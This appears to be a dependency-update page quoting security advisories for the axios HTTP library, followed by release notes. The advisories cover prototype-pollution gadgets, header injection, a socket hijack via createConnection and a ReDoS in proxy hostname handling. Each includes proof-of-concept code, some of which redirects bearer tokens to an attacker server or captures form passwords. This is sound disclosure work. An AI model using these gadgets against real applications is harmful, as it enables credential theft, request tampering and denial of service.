Potential impact includes unauthorized state-changing requests, deletion of resources, unintended writes, data corruption, or denial of service when the target endpoint treats the HTTP method as security-relevant.

The issue does not require admin access to Axios itself, but it does require an existing prototype-pollution path in the application. Applications that always use explicit methods, method aliases such as axios.get(), or isolated instances created through axios.create() are not affected by the confirmed method-override path.


Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Axios: Header Injection via Inherited headers After Minimal Interceptor

CVE-2026-101904 / GHSA-j8rh-479h-cp32

More information

Details

Summary

Axios request interceptors may return a replacement config object. If an interceptor returns a plain object without an own headers property, dispatchRequest() later evaluates config.headers and can resolve an inherited Object.prototype.headers value. In a process where another vulnerability has polluted Object.prototype.headers, axios can send attacker-controlled headers.

Axios does not create the prototype pollution source, and the interceptor itself is trusted caller code. The vulnerable behavior is the post-interceptor axios config read that reopens a prototype-pollution gadget after earlier null-prototype config hardening.

Impact

An attacker with a prior same-process prototype-pollution primitive can inject headers into affected axios requests when the application uses an interceptor that rebuilds config and omits headers. Depending on the target service, injected headers can affect cache behavior, conditional requests, metadata services, or application-specific authorization and routing logic.

The issue is conditional and should not be described as affecting every interceptor or every request.

Affected Functionality

Affected:

  • Request interceptor chains where an interceptor returns a new ordinary object.
  • Replacement config objects that omit an own headers property.
  • dispatchRequest() header normalization through AxiosHeaders.from(config.headers).

Not affected:

  • Requests whose interceptor preserves an own headers property.
  • Interceptors that mutate and return the existing null-prototype config.
  • Processes without prototype pollution.
Technical Details

lib/core/dispatchRequest.js contains:

config.headers = AxiosHeaders.from(config.headers);

The initial merged config is null-prototype, but an interceptor can replace it with a normal object. If that object has no own headers, the read can resolve Object.prototype.headers.

Local verification on axios 1.18.1 polluted Object.prototype.headers = { 'X-Poisoned': 'yes' }, installed an interceptor that returned { url, method, timeout, proxy: false }, and sent a request. The loopback server received X-Poisoned: yes.

Proof of Concept of Attack

Constrained local demonstration:

Object.prototype.headers = { 'X-Poisoned': 'yes' };

const client = axios.create();
client.interceptors.request.use((config) => ({
  url: config.url,
  method: config.method,
  timeout: config.timeout
}));

await client.get(url);

Expected safe behavior is that missing headers normalize to an empty header set. Current affected behavior reads inherited Object.prototype.headers.

Workarounds

Interceptors that rebuild config should always set an own headers property, for example by preserving config.headers or setting headers: {}. Mutating and returning the existing merged config also avoids replacing the null-prototype object.

Original report

Summary

Axios 1.17.0 blocks the old Object.prototype.common header bucket gadget. However, if a request interceptor rebuilds a minimal config object and omits headers, dispatchRequest() reads inherited Object.prototype.headers.

This allows attacker-controlled headers to be placed on the wire.

Affected Version

Validated on:

  • axios: 1.17.0
  • commit: 4306df2
  • runtime: Node.js v24.15.0
Preconditions
  • A separate prototype-pollution primitive can write an object to Object.prototype.headers.
  • A request interceptor rebuilds config and omits own headers.
Root Cause

dispatchRequest() uses:

config.headers = AxiosHeaders.from(config.headers);

If config is a normal object returned by an interceptor and lacks own headers, this reads Object.prototype.headers.

Impact

An attacker can inject request headers. Depending on the target service, this can cause cache manipulation, conditional-response suppression, request smuggling preconditions, metadata-service header injection, or application-specific authorization bypass.

Proof of Concept
import axios from './index.js';
import http from 'http';

const start = (handler) => new Promise((resolve) => {
  const server = http.createServer(handler);
  server.listen(0, '127.0.0.1', () => resolve(server));
});

const stop = (server) => new Promise((resolve) => server.close(resolve));

const hits = [];

const server = await start((req, res) => {
  hits.push(req.headers);
  res.setHeader('Content-Type', 'application/json');
  res.end('{"ok":true}');
});

try {
  Object.prototype.headers = {
    'X-Poisoned': 'yes',
    'If-None-Match': '*'
  };

  const client = axios.create();
  client.interceptors.request.use((config) => ({
    url: config.url,
    method: config.method,
    timeout: config.timeout
  }));

  await client.get(`http://127.0.0.1:${server.address().port}/headers`, {
    timeout: 3000
  });

  console.log(hits[0]);
} finally {
  delete Object.prototype.headers;
  await stop(server);
}

Observed wire headers:

{
  "x-poisoned": "yes",
  "if-none-match": "*",
  "user-agent": "axios/1.17.0"
}
References
---

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Axios: Node HTTP adapter prototype-pollution gadget allows request socket hijack via inherited createConnection

CVE-2026-101905 / GHSA-m8m8-qj5v-23w3

More information

Details

Summary

Axios' Node HTTP adapter can act as a read-side prototype-pollution gadget for Node's sensitive createConnection request option. The adapter creates a null-prototype options object, but Node's HTTP client can copy or normalize request options into ordinary objects before connection creation. If Object.prototype.createConnection has been polluted elsewhere in the same process, Node can call the inherited function and create a socket to an attacker-controlled endpoint.

Axios does not create the prototype pollution source. The vulnerability is that axios does not set an own safe value for a sensitive transport option before handing options to Node.

Impact

Given a prior same-process prototype-pollution primitive, an attacker can redirect later axios Node HTTP requests at the socket layer while the request URL and axios config still appear to target the legitimate origin. The attacker-controlled endpoint can receive request headers and bodies, including Authorization headers, cookies, API keys, and service credentials, and can return attacker-controlled responses to the application.

This can bypass application destination validation that checks the URL before calling axios, because the URL remains legitimate while the underlying socket goes elsewhere.

Affected Functionality

Affected:

  • Node.js HTTP adapter.
  • HTTP and HTTPS request paths that rely on Node/follow-redirects option processing and do not set an own safe createConnection.
  • Processes where Object.prototype.createConnection is polluted.

Not affected:

  • Browser adapters.
  • Processes without prototype pollution.
  • Requests using a custom trusted transport that ignores inherited createConnection and sanitizes options internally.
Technical Details

lib/adapters/http.js creates:

const options = Object.assign(Object.create(null), {
  path,
  method,
  headers,
  agents: { http: httpAgent, https: httpsAgent },
  auth,
  protocol,
  family,
  beforeRedirect: dispatchBeforeRedirect,
  beforeRedirects: Object.create(null),
  http2Options,
});

The object does not include an own createConnection property. Local verification on axios 1.18.1 polluted Object.prototype.createConnection to connect to an attacker loopback server. A request to a legitimate loopback server with an Authorization header returned the attacker's response; the legitimate server received no request and the attacker server received Bearer SECRET.

Proof of Concept of Attack

Constrained local demonstration:

Object.prototype.createConnection = function (_options, cb) {
  const socket = net.createConnection({ host: '127.0.0.1', port: attackerPort }, () => {
    if (typeof cb === 'function') cb(null, socket);
  });
  return socket;
};

await axios.get('http://127.0.0.1:<legit-port>/secret', {
  headers: { Authorization: 'Bearer SECRET' },
  proxy: false
});

Expected safe behavior is that the legitimate server receives the request. Current affected behavior lets the attacker server receive the request and return the response.

Workarounds

Run axios in a process where prototype pollution is not present. For high-risk internal clients, use a custom trusted transport or agent layer that sets and enforces its own connection creation behavior instead of allowing inherited Node request options to participate.

Original report

Summary

Axios' Node HTTP adapter remains exploitable as a read-side prototype-pollution gadget after the recent null-prototype hardening. This is not a claim that axios creates the prototype pollution source. The precondition is a separate upstream prototype pollution primitive in the same Node.js process.

When Object.prototype.createConnection is polluted, axios requests can be redirected to an attacker-controlled socket even though the adapter builds the request options with Object.create(null). The request URL and axios config still appear to target the legitimate host, but the actual socket is attacker-controlled.

This allows credential exfiltration and response manipulation for later axios HTTP requests in a polluted process.

Impact

Given an upstream prototype pollution primitive in the same process, an attacker can turn later axios HTTP requests into a man-in-the-middle primitive:

  • redirect the underlying socket for axios requests to attacker-controlled infrastructure
  • receive headers and request bodies intended for the legitimate target, including bearer tokens, cookies, API keys, and service credentials
  • return attacker-controlled responses to the caller
  • bypass application SSRF controls that validate the URL before calling axios, because the requested URL remains legitimate while the socket connects elsewhere

The important boundary here is axios' documented/read-side prototype-pollution hardening. The project threat model discusses polluted Object.prototype from transitive dependencies as an in-scope read-side gadget class where axios should avoid picking up inherited behavior-changing properties. This issue is a bypass of that hardening at the Node HTTP request-options boundary.

Technical details

The HTTP adapter constructs a null-prototype request options object before calling the selected transport:

const options = Object.assign(Object.create(null), {
  path,
  method: method,
  headers: toByteStringHeaderObject(headers),
  agents: { http: config.httpAgent, https: config.httpsAgent },
  auth,
  protocol,
  family,
  beforeRedirect: dispatchBeforeRedirect,
  beforeRedirects: Object.create(null),
  http2Options,
});

That prevents direct inherited reads while the options object remains null-prototype. However, Node's HTTP client path copies or normalizes request options into ordinary objects before connection creation. After that copy, missing properties can resolve from Object.prototype again.

createConnection is a sensitive Node HTTP option. If it is inherited after this copy, Node calls the attacker-supplied function to create the socket.

Reproduction

The following minimal proof uses a legitimate target server and an attacker server. It pollutes Object.prototype.createConnection, then makes an axios request to the legitimate server with an Authorization header.

import net from 'node:net';
import http from 'node:http';
import axios from 'axios';

function listen(handler) {
  return new Promise(resolve => {
    const s = http.createServer(handler);
    s.listen(0, '127.0.0.1', () => resolve(s));
  });
}

const legitHits = [];
const attackerHits = [];

const legit = await listen((req, res) => {
  legitHits.push({url: req.url, auth: req.headers.authorization || null});
  res.end('LEGIT');
});

const attacker = await listen((req, res) => {
  attackerHits.push({url: req.url, auth: req.headers.authorization || null});
  res.end('ATTACKER');
});

Object.prototype.createConnection = function(options, cb) {
  const sock = net.createConnection({
    host: '127.0.0.1',
    port: attacker.address().port,
  }, () => {
    if (typeof cb === 'function') cb(null, sock);
  });
  return sock;
};

const res = await axios.get(`http://127.0.0.1:${legit.address().port}/secret`, {
  headers: {Authorization: 'Bearer SECRET'},
  proxy: false,
});

console.log({
  response: res.data,
  legitHits,
  attackerHits,
});

Observed result on the current npm package:

{
  "response": "ATTACKER",
  "legitHits": [],
  "attackerHits": [
    {
      "url": "/secret",
      "auth": "Bearer SECRET"
    }
  ]
}

The request never reached the intended target. The attacker-controlled server received the Authorization header and supplied the response body returned by axios.

Versions tested

I reproduced this against:

  • axios 1.16.1 from npm
  • axios 1.17.0 from npm
  • current v1.x source at commit a8e4f13aeecc45a3b8fab3ecfd9ddb5d70fb772b
Fix validation

Adding an own safe value for createConnection to the adapter options object prevents inherited pollution from being observed after Node's option copy:

const options = Object.assign(Object.create(null), {
  path,
  method: method,
  headers: toByteStringHeaderObject(headers),
  agents: { http: config.httpAgent, https: config.httpsAgent },
  auth,
  protocol,
  family,
  beforeRedirect: dispatchBeforeRedirect,
  beforeRedirects: Object.create(null),
  http2Options,
  createConnection: undefined,
});

With that guard in place, the same proof no longer calls the polluted function. The legitimate server receives the request, the attacker server receives nothing, and axios returns the legitimate response.

Remediation

Set own safe defaults for sensitive Node HTTP request options before calling transport.request, at minimum:

createConnection: undefined

I recommend reviewing other sensitive Node HTTP options that may be read after Node copies the request options into a normal object, especially connection/TLS-affecting fields such as lookup, timeout, localAddress, servername, signal, and related options.


Severity

  • CVSS Score: 7.6 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Axios: ReDoS (O(N²)) in shouldBypassProxy host normalization, reachable via untrusted redirect Location

CVE-2026-101906 / GHSA-mghh-pgcx-3jjj

More information

Details

Summary

Axios shouldBypassProxy() normalizes hostnames with hostname.replace(/\.+$/, ''). For a hostname shaped as many dots followed by a non-dot, the anchored regex can perform quadratic backtracking. Because axios re-evaluates proxy bypass rules for redirected requests, a malicious server can trigger this synchronous work through a crafted redirect Location.

The issue affects Node.js applications that use environment proxy variables with NO_PROXY and allow redirects.

Impact

An attacker-controlled server can return a redirect whose hostname causes the axios process to spend significant CPU time in synchronous hostname normalization. During this time, the Node.js event loop is blocked and the application cannot handle other work on that thread.

This is an availability-only issue. It does not disclose request data or modify requests.

Affected Functionality

Affected:

  • Node.js HTTP adapter.
  • Environment proxy handling through HTTP_PROXY or HTTPS_PROXY.
  • NO_PROXY or no_proxy set to a non-empty value.
  • Redirects followed by axios or follow-redirects.

Not affected:

  • Browser adapters.
  • Requests with proxy: false.
  • Requests with no NO_PROXY value.
  • Requests with maxRedirects: 0, unless application code manually follows the malicious redirect and re-enters axios.
Technical Details

lib/helpers/shouldBypassProxy.js contains:

return unmapIPv4MappedIPv6(hostname.replace(/\.+$/, ''));

When the hostname is "." * n + "a", the $ anchor causes the regex engine to retry the dot run from many positions before it fails. setProxy() invokes shouldBypassProxy(location) after getProxyForUrl(location) returns a proxy, including on redirect hops via beforeRedirects.proxy.

Local timing on axios 1.18.1 showed increasing cost for crafted hostnames: about 1 ms at 1000 dots, 6.9 ms at 3000 dots, and 34.5 ms at 6000 dots. The growth is consistent with the submitted quadratic claim while avoiding long-running payloads.

Proof of Concept of Attack

Constrained helper-level demonstration:

import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';

process.env.NO_PROXY = 'example.com';
shouldBypassProxy('http://' + '.'.repeat(6000) + 'a/');

In the full adapter path, a malicious server can return that hostname in a 302 Location header while the client has proxy environment variables and NO_PROXY configured.

Workarounds

Disable automatic redirects for requests to untrusted servers, or avoid environment proxy handling for those requests with proxy: false when appropriate. Operators can also avoid broad untrusted redirect-following in services where event-loop availability is critical.

Original report

Summary

shouldBypassProxy normalizes a host with hostname.replace(/.+$/, ''). On a host of the shape (e.g. "." × 40000 + "a"), this anchored regex backtracks quadratically (O(N²)), synchronously starving the Node.js event loop. Because axios re-evaluates the proxy on every redirect using the new Location host, a malicious server can return a crafted 302 Location and freeze the client's event loop for seconds per redirect — a denial of service.

Details
  • Affected code: lib/helpers/shouldBypassProxy.js → normalizeNoProxyHost: hostname.replace(/.+$/, '') (one pass in 1.18.1). The open PR #​11029 adds a second /.+$/ pass in normalizeIPAddress, doubling the cost (not the origin).
  • Root cause: /.+/ is O(N²) on a long run of dots that is not at the end of the string — the anchor forces the engine to backtrack the entire dot-run from every start position.
  • Trust boundary (per THREATMODEL): the redirect Location is untrusted (T-2: "axios to network … redirect Location … untrusted"). The caller requests a benign URL; the malicious host arrives via the server's 302. This is not the T-1 caller-supplied-URL non-goal.
  • Call chain: setProxy(options, configProxy, location, isRedirect, …) (lib/adapters/http.js) → env-proxy branch → getProxyForUrl(location) returns a proxy → if (!shouldBypassProxy(location)) → normalizeNoProxyHost(parsed.hostname.toLowerCase()) runs /.+$/. setProxy is re-invoked on the redirect hop with the untrusted Location; new URL() retains the long dot-run in .hostname.
  • Preconditions: proxy configured via environment (HTTP_PROXY/HTTPS_PROXY, trusted per THREATMODEL T-3, common in CI/containers/enterprise) + NO_PROXY set + redirects followed (default maxRedirects: 5).
PoC

Self-contained, no network — imports axios's own helper:
// node poc.mjs (run next to an axios install)
import sbp from './node_modules/axios/lib/helpers/shouldBypassProxy.js';
process.env.NO_PROXY = 'example.com';
for (const n of [5000, 10000, 20000, 40000]) {
const url = 'http://' + '.'.repeat(n) + 'a/'; // arrives as an untrusted 302 Location host
const t0 = process.hrtime.bigint();
sbp(url); // returns false (correct no-bypass) — but O(N^2) slow
console.log(N=${n}: ${(Number(process.hrtime.bigint()-t0)/1e6)|0} ms);
}
// Measured on 1.18.1: N=5000 ~43ms, 10000 ~160ms, 20000 ~618ms, 40000 ~2499ms; benign host ~0.05ms.
Driven through the real http-adapter __setProxy on the redirect path (setProxy(…, isRedirect=true)), a 10 ms timer fires 0 times during the ~2.4 s block at N=40000 — full event-loop starvation.

Impact

Denial of service (event-loop starvation) on any axios client that uses an environment proxy with NO_PROXY set and follows redirects, when a server it contacts returns a crafted redirect Location. No data exposure or RCE. Same impact class as the accepted DoS advisories GHSA-62hf-57xw-28j9 (toFormData recursion) and the maxContentLength response-size DoS.

Suggested fix

Replace the regex trailing-dot strip with a linear trim:
let end = hostname.length;
while (end > 0 && hostname.charCodeAt(end - 1) === 46 /* '.' */) end--;
hostname = hostname.slice(0, end);
Also drop the redundant second /.+$/ pass in PR #​11029's normalizeIPAddress.


Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Axios: Prototype pollution gadget in fetch adapter can alter outbound requests

CVE-2026-101908 / GHSA-vh66-26gq-q6x8

More information

Details

Summary

Axios fetch adapter requests can be altered by inherited properties on fetchOptions. The adapter resolves method, headers, body, signal, and credentials into resolvedOptions, creates a Request, and then calls fetch(request, fetchOptions) instead of fetch(request, resolvedOptions). In runtimes such as Node's undici-backed fetch, inherited fetchOptions.headers can override the headers already placed on the Request.

Axios does not create the prototype pollution source. This is a read-side gadget that becomes exploitable after same-process prototype pollution.

Impact

An attacker with a prior prototype-pollution primitive can cause affected fetch-adapter requests to send attacker-controlled headers and drop caller-specified headers. This can affect authorization, cache behavior, metadata-service interactions, or application-specific header-based controls.

The issue is specific to fetch-adapter behavior and does not affect Node HTTP adapter requests.

Affected Functionality

Affected:

  • adapter: 'fetch'.
  • Runtime environments where the fetch adapter is selected.
  • Requests where fetchOptions is an object that does not have safe own values for sensitive fetch init fields.

Not affected:

  • Node HTTP adapter.
  • Requests that do not use the fetch adapter.
  • Processes where Object.prototype is not polluted.
Technical Details

lib/adapters/fetch.js builds:

const resolvedOptions = {
  ...fetchOptions,
  signal: composedSignal,
  method: method.toUpperCase(),
  headers: toByteStringHeaderObject(headers.normalize()),
  body: data,
  duplex: 'half',
  credentials: isCredentialsSupported ? withCredentials : undefined,
};

request = isRequestSupported && new Request(url, resolvedOptions);

let response = await (isRequestSupported
  ? _fetch(request, fetchOptions)
  : _fetch(url, resolvedOptions));

The fallback path without Request uses resolvedOptions, but the Request path passes the original fetchOptions as the second argument to fetch(). That second argument can contain inherited properties from Object.prototype.

Local verification on axios 1.18.1 set Object.prototype.headers = { Authorization: 'Bearer POLLUTED' } and called the fetch adapter with headers: { 'X-Good': 'yes' }, fetchOptions: {}. The loopback server received Authorization: Bearer POLLUTED and did not receive X-Good.

Proof of Concept of Attack

Constrained local demonstration:

Object.prototype.headers = { Authorization: 'Bearer POLLUTED' };
try {
  await axios.get(url, {
    adapter: 'fetch',
    headers: { 'X-Good': 'yes' },
    fetchOptions: {}
  });
} finally {
  delete Object.prototype.headers;
}

Expected safe behavior is that the sanitized axios headers remain in force. Current behavior can use the inherited fetch init headers instead.

Workarounds

Use the Node HTTP adapter for security-sensitive server-side requests until fixed. If the fetch adapter must be used, avoid passing empty fetchOptions objects in processes where prototype pollution is possible, and set explicit safe own values for fetch init fields.

Original report

Hello, I’m not completely sure if this is something you’d consider a security issue, since it depends on prototype pollution happening somewhere else first, but I wanted to report it just in case.

I was testing the fetch adapter with polluted prototype values and found that Object.prototype.headers can change the request axios sends.

The issue seems to be in lib/adapters/fetch.js. Axios creates a Request with the resolved headers/method/body, but then sends it with fetch(request, fetchOptions). With undici, if fetchOptions doesn’t have its own headers, an inherited Object.prototype.headers value can be used during the final fetch call.

I tested it with this:

import http from 'node:http';
import axios from 'axios';

const server = http.createServer((req, res) => {
  res.end(JSON.stringify({
    authorization: req.headers.authorization || null,
    xGood: req.headers['x-good'] || null
  }));
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));
const { port } = server.address();

Object.prototype.headers = {
  Authorization: 'Bearer POLLUTED'
};

try {
  const res = await axios.get(`http://127.0.0.1:${port}/`, {
    adapter: 'fetch',
    headers: { 'X-Good': 'yes' },
    fetchOptions: {}
  });

  console.log(res.data);
} finally {
  delete Object.prototype.headers;
  server.close();
}

The result I get is:

{
  "authorization": "Bearer POLLUTED",
  "xGood": null
}

So the polluted Authorization header is sent, and the normal axios header is not.

Changing the fetch call to pass the already resolved options fixes it for me:

- _fetch(request, fetchOptions)
+ _fetch(request, resolvedOptions)

resolvedOptions already includes ...fetchOptions, so custom fetch options should still work, while headers, method, body, and signal stay as clean own values.


Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Axios: Prototype Pollution Gadget in axios toFormData Options

CVE-2026-101909 / GHSA-x97p-jq2g-jp4f

More information

Details

Summary

Axios form serialization reads visitor, maxDepth, dots, indexes, metaTokens, and Blob from an internal options object without own-property guards. When Object.prototype has been polluted elsewhere in the same process, those inherited values can change how axios serializes multipart and URL-encoded request bodies.

Axios does not create the prototype pollution source. This is a read-side gadget: axios turns an existing same-process pollution condition into altered request serialization or request failures.

Impact

The impact depends on which property is polluted and which axios serialization path the application uses.

Polluted dots, indexes, or metaTokens can change field names and cause the receiving service to parse different data than the caller intended. Polluted maxDepth can cause nested form submissions to throw ERR_FORM_DATA_DEPTH_EXCEEDED, producing request-level or service-level denial of service for affected workflows. Polluted visitor can execute as the serializer visitor if an attacker can place a function on Object.prototype, but that condition generally implies a stronger same-process code-execution or malicious-dependency primitive and should be described carefully.

Affected Functionality

Affected:

  • axios.toFormData().
  • transformRequest paths that serialize plain objects to multipart/form-data.
  • URL-encoded form serialization paths that rely on the same helper.
  • formSerializer option defaults when the relevant properties are absent as own properties.

Not affected:

  • JSON request bodies.
  • Requests that do not invoke toFormData().
  • Processes where Object.prototype is not polluted.
Technical Details

lib/helpers/toFormData.js merges caller options with defaults using utils.toFlatObject(). When options is undefined, toFlatObject() returns the default object unchanged:

{
  metaTokens: true,
  dots: false,
  indexes: false
}

That default object has Object.prototype in its prototype chain. toFormData() then reads behavior-affecting values directly:

const metaTokens = options.metaTokens;
const visitor = options.visitor || defaultVisitor;
const dots = options.dots;
const indexes = options.indexes;
const _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob);
const maxDepth = options.maxDepth === undefined ? DEFAULT_FORM_DATA_MAX_DEPTH : options.maxDepth;

These reads can resolve inherited polluted properties.

Local code review confirmed the direct reads in v1.18.1. Tag checks show the option-based form serializer exists in v0.28.0 and later; maxDepth appears in the 1.x line from the form recursion fix.

Proof of Concept of Attack

Constrained local demonstration:

Object.prototype.maxDepth = 1;

await axios.post(url, { a: { b: { c: 'value' } } }, {
  headers: { 'Content-Type': 'multipart/form-data' }
});

Expected safe behavior is that the default max depth is used unless the caller sets an own formSerializer.maxDepth. Current behavior reads the inherited value and can throw ERR_FORM_DATA_DEPTH_EXCEEDED.

For serializer alteration, polluting Object.prototype.dots = true changes nested field naming from bracket notation to dot notation when the caller did not opt into that behavior.

Workarounds

Avoid serializing attacker-controlled objects as form data in a process with known prototype pollution. As a partial mitigation, callers can pass an own formSerializer object that sets explicit safe values for all relevant keys, including visitor, maxDepth, dots, indexes, metaTokens, and Blob.

Original report

Summary

axios v1.18.1 contains a read-side prototype pollution gadget in its form data serialization logic. Six option properties (visitor, maxDepth, dots, indexes, metaTokens, Blob) are read from a plain JavaScript object that inherits from Object.prototype without hasOwnProperty guards. When Object.prototype has been polluted elsewhere in the process a common consequence of compromised transitive npm dependencies, these polluted values silently control axios' form serialization behavior.

The highest-impact gadget is visitor: a polluted function on Object.prototype.visitor is invoked for every key-value pair during multipart and URL-encoded form serialization, receiving the value, key, path, and internal helper functions as arguments.

Details
Root Cause

The attack chain has three steps:
Step 1: formSerializer is read safely, but undefined flows through
In lib/defaults/index.js, the default transformRequest function reads formSerializer from config using the own() helper, which enforces hasOwnProp:

const formSerializer = own(this, 'formSerializer');

When the user does not explicitly configure formSerializer, this correctly returns undefined. That undefined is then passed as the options parameter to toFormData():

return toFormData(data, _FormData && new _FormData(), formSerializer);
//                                                     ^^^^^^^^^^^^ undefined

Step 2: toFlatObject returns a plain-object default
Inside lib/helpers/toFormData.js, options (which is undefined) is merged with defaults via utils.toFlatObject():

options = utils.toFlatObject(
    options,                                    // undefined
    { metaTokens: true, dots: false, indexes: false },  // plain object literal
    false,
    function defined(option, source) {
        return !utils.isUndefined(source[option]);
    }
);

toFlatObject has an early-return for null/undefined sources:

// lib/utils.js:607
if (sourceObj == null) return destObj;

Since options is undefined, the function returns destObj unchanged — the plain object { metaTokens: true, dots: false, indexes: false }. This object's prototype is Object.prototype.

Step 3: Options are read without hasOwnProp guards
The six option properties are read directly from the plain object:

const metaTokens = options.metaTokens;                                          // line 117
const visitor    = options.visitor || defaultVisitor;                            // line 119
const dots       = options.dots;                                                // line 120
const indexes    = options.indexes;                                             // line 121
const _Blob      = options.Blob || (typeof Blob !== 'undefined' && Blob);       // line 122
const maxDepth   = options.maxDepth === undefined                                // line 123
                     ? DEFAULT_FORM_DATA_MAX_DEPTH
                     : options.maxDepth;

None of these reads use utils.hasOwnProp(). Since the options object inherits from Object.prototype, any property set on Object.prototype by a compromised dependency is resolved through the prototype chain.

Why the Existing Defenses Didn't Catch This

axios has extensive prototype pollution defenses. However, those defenses are all focused on the config object (created by mergeConfig, which returns Object.create(null)). The toFormData function creates its own internal options object that sits outside that boundary, and the 6 reads on that internal object were never audited.

PoC
Reproduction Steps
Environment

Any environment with Node.js and npm. Tested on:
- Node.js v24.15.0, npm 11.13.0
- axios v1.18.1 (latest release at time of writing)

Step 1: Create a fresh project
mkdir axios-pp-poc
cd axios-pp-poc
npm init -y
npm install axios@1.18.1
Step 2: Create the PoC file

Create poc.mjs with the following content:

import axios from 'axios';
import http from 'http';

// Simulate pollution from a compromised transitive dependency
let stolen = [];
Object.prototype.visitor = function(value, key, path, helpers) {
    stolen.push({ key, value });
    return helpers.defaultVisitor.call(this, value, key, path);
};
Object.prototype.maxDepth = 2;

const server = http.createServer((req, res) => {
    res.writeHead(200);
    res.end('{}');
});

server.listen(0, '127.0.0.1', async () => {
    const { port } = server.address();
    try {
        // Exfiltration: visitor intercepts all form fields
        await axios.post(`http://127.0.0.1:${port}/`, {
            username: 'john',
            password: 'SuperSecret123!',
            profile: { ssn: '123-45-6789' }
        }, { headers: { 'Content-Type': 'multipart/form-data' } });

        console.log('Stolen:', stolen);
        // Stolen: [
        //   { key: 'username', value: 'john' },
        //   { key: 'password', value: 'SuperSecret123!' },
        //   { key: 'profile',  value: { ssn: '123-45-6789' } },
        //   { key: 'ssn',      value: '123-45-6789' }
        // ]

        // DoS: nested object rejected by polluted maxDepth
        await axios.post(`http://127.0.0.1:${port}/`,
            { a: { b: { c: { d: 'value' } } } },
            { headers: { 'Content-Type': 'multipart/form-data' } }
        );
        // Throws: ERR_FORM_DATA_DEPTH_EXCEEDED
        //   "Object is too deeply nested (3 levels). Max depth: 2"
    } finally {
        delete Object.prototype.visitor;
        delete Object.prototype.maxDepth;
        server.close();
    }
});
Step 3: Run the PoC
node poc.mjs
Impact
1. Data Exfiltration via visitor (Confidentiality: High)

A polluted Object.prototype.visitor function is called as the form data visitor:

visitor.call(formData, el, key, path, exposedHelpers)

The attacker receives:
- value — the raw value being serialized (passwords, tokens, PII, API keys)
- key — the field name
- path — the full path array (e.g., ['profile', 'address', 'street'])
- exposedHelpers — internal helpers including defaultVisitor, convertValue, isVisitable

By delegating to helpers.defaultVisitor, the attack is completely transparent, the request succeeds normally and the server receives intact data. The exfiltration is invisible to both the caller and the server.

2. Denial of Service via maxDepth (Availability: Low)

A polluted Object.prototype.maxDepth of 1 or 2 causes any moderately nested form data request to throw ERR_FORM_DATA_DEPTH_EXCEEDED. Applications that send nested objects as form data (common with APIs that accept profile[name], address[city], etc.) will experience mysterious failures.

3. Data Corruption via dots, indexes, metaTokens (Integrity: Low)

Polluting these options changes the serialization format of form field names:
- dots: true — changes bracket notation (user[name]) to dot notation (user.name)
- indexes: true — changes array serialization (items[]) to indexed (items[0], items[1])
- metaTokens: false — changes obj{} keys to raw json strings

The server may misinterpret the submitted form data, leading to silent data corruption.


Severity

  • CVSS Score: 8.3 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

axios/axios (axios)

v1.20.0

Compare Source

v1.20.0 — August 19, 2026

This release hardens runtime option handling, adds RFC 9110 status-code aliases, fixes Node.js and XHR reliability issues, and refreshes project tooling and documentation.

⚠️ Breaking Changes & Deprecations

  • HTTP Status Naming: Added ContentTooLarge (413) and UnprocessableContent (422), while retaining PayloadTooLarge and UnprocessableEntity as backward-compatible deprecated aliases. (#​11082)

🔒 Security Fixes

  • Runtime Option Handling: Hardened behavioral configuration reads against shared and foreign prototype pollution and normalized unsafe interceptor replacement objects. This also clarifies Fetch redirect and custom implementation behavior, HTTP/2 DNS and proxy handling, CIDR-based NO_PROXY matching, and malformed data URI rejection; see the PR for documented compatibility effects. (#​11141)

🐛 Bug Fixes

  • Interceptor Lifecycle: Prevented unbounded handler-array growth by trimming trailing ejected interceptors without changing iteration semantics, and kept interceptor operations safe when the public handlers field is nullish. (#​11087, #​11118)
  • Request Error Preservation: Prevented custom Error.prepareStackTrace implementations that return non-string values from replacing the original request failure with an unrelated TypeError. (#​11109)
  • XHR Reliability: Navigation-canceled requests now reject with ECONNABORTED instead of resolving with status 0, while successful downloads flush their final progress callback during the live loadend dispatch. (#​11094, #​11121)
  • Node.js Socket Memory: Removed request-context retention from per-socket error listeners, preventing completed response data from being pinned for the lifetime of pooled keep-alive sockets. (#​11091)
  • Core Methods and HTTP Errors: Prevented structural method-header buckets from leaking into outgoing headers, standardized invalid DNS lookup and httpVersion failures as AxiosError.ERR_BAD_OPTION_VALUE, and corrected the timeoutErrorMessage merge strategy. (#​11096)

🔧 Maintenance & Chores

🌟 New Contributors

We are thrilled to welcome our new contributors. Thank you for helping improve axios:

Full Changelog (https://github.com/axios/axios/compare/v1.19.0...v1.20.0)

v1.19.0

Compare Source

This release raises the form-data security floor, adds configuration and type-system capabilities, and fixes NO_PROXY matching, interceptor errors, progress reporting, and serialization edge cases.

v1.18.1

Compare Source

v1.18.1 — June 21, 2026

This release focuses on Node HTTP adapter fixes, safer AxiosError serialisation, runtime/type correctness fixes, documentation updates, and dependency maintenance.

🐛 Bug Fixes

